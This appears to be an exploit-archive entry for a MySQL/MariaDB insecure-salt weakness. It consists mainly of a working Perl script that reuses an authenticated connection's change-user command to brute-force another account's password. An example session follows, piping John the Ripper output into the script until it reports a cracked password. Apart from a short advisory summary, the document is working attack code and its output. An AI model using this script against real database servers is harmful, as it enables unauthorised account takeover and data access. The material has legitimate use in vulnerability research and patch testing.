Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass

source: https://www.securityfocus.com/bid/56837/info

MySQL and MariaDB are prone to a security-bypass weakness.

An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. 

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "\0",
                $crackuser,
                "\x14".
                Net::MySQL::Password->scramble(
                        $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
                ) . "\0";
if ($mysql->_execute_command("\x11", $vv) ne undef) {
        print "[*] Cracked! --> $currentpass\n";
        exit;
}
}
---
example session:

C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch141
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2
[*] Cracked! --> pass
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs
Session aborted